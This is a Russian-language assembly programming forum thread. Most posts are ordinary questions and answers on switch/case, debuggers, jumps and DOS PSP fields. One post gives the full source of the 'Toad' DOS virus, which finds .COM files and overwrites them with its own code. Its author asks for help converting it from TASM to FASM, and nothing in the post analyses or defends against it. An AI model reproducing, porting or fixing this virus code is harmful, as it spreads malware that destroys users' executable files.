Code: .386 .model flat,stdcall option casemap:none includelib C:\masm\lib\kernel32.lib includelib C:\masm\lib\user32.lib includelib C:\masm\lib\ws2_32.lib include C:\masm\include\kernel32.inc include C:\masm\include\ws2_32.inc include C:\masm\include\user32.inc include C:\masm\include\windows.inc .data? wsaData WSADATA <> hn db 1024 dup(?) .data .code start: invoke WSAStartup,101h,ADDR wsaData invoke gethostname,ADDR hn,1024 invoke gethostbyname,ADDR hn mov eax, [eax+12] mov eax, [eax] mov eax, [eax] invoke inet_ntoa,eax invoke MessageBoxA,0,eax,eax,0 invoke ExitProcess,0 end start
внезапно мне понадобилось реализовать switch/case на ассемблере. Свитч - DWORD. кейсов около 7. как реализовать это на асме в минимальное количество байт?
А как не крути но это обычные конструкции вида Code: cmp edx, число jne m1 действий jmp end m1: cmp edx, число jne m2 действий jmp end m2: ------------------------------ итд. end:
Ну да, там так с джампами и выйдет. Вот так, например: Code: cmp eax, 1 jz .is_one cmp eax, 2 jz .is_two ;default ... .is_one: ... .is_two: ...
Здравствуйте, кодеры! Переведите несколько строк кода с tasm на fasm(среда DOS), а то не получается: ... toad proc near ... ... horny label near toad endp
WWWorm101, незнаком с синтаксисом tasm'a. А вообще процедура реализуется так: Code: proc toad local horny:DWORD ; или WORD, etc. endp
короче код не компилируется, ошибка во второй строке: org 100h proc toad first_fly: mov ah,4eh find_fly: xor cx,cx lea dx,comsing int 21h jc wart_growth open_fly: mov ax,3d02h mov dx,9eh int 21h eat_fly: xchg bx,ax mov ah,40h mov cx,norny-first_fly lea dx,first_fly int 21h stitch_up: mov ah,3eh int 21h mov ah,4fh jmp find_fly wart_growth: mov ah,09h mov dx,wart int 21h cya: int 20h comsig db "*.com",0 wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13 db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$' horny label near endp end first_fly
Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ ))) (в CodeView не разобрался)
wolmer Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском. Или старинную вешь от дяди касперерского - avputil
Здравствуйте. Вот такой случай: Code: jz metka[bp] ; ????????????? Подскажите как правильно реализовать вышеприведённое на masm. Нужен условный переход по смещению - metka плюс число в bp.
Ответте пожалуста. 1. Почему при использовании переменной 4е, в PSP записывается размер найденного файла то по смещению 1а, то 9а. Аналогично имя найденного файла то 1е, то 9е. Получается разница равная адресу DTA. Какая тут связь? 2. Когда нужно узнать из запущенной программы её имя, то по PSP:002с находим сегмент переменных среды и по "[002cH]:0 плюс конец перечисления переменных" находится имя запущенного файла. Вопрос - где нибудь ещё храниться имя запущенной программы.
сорь, туплю. jz не даст тебе такого. Потому что она осуществляет переход внутри текущего сегмента команд в зависимости от условия. И работает только с метками. Как вариант юзать конструкцию jmp и jnz. Только не забудь инвертировать условие. Code: jnz m1 mov ax, metka add ax, bp jmp ax m1: трям порям metka: трям порям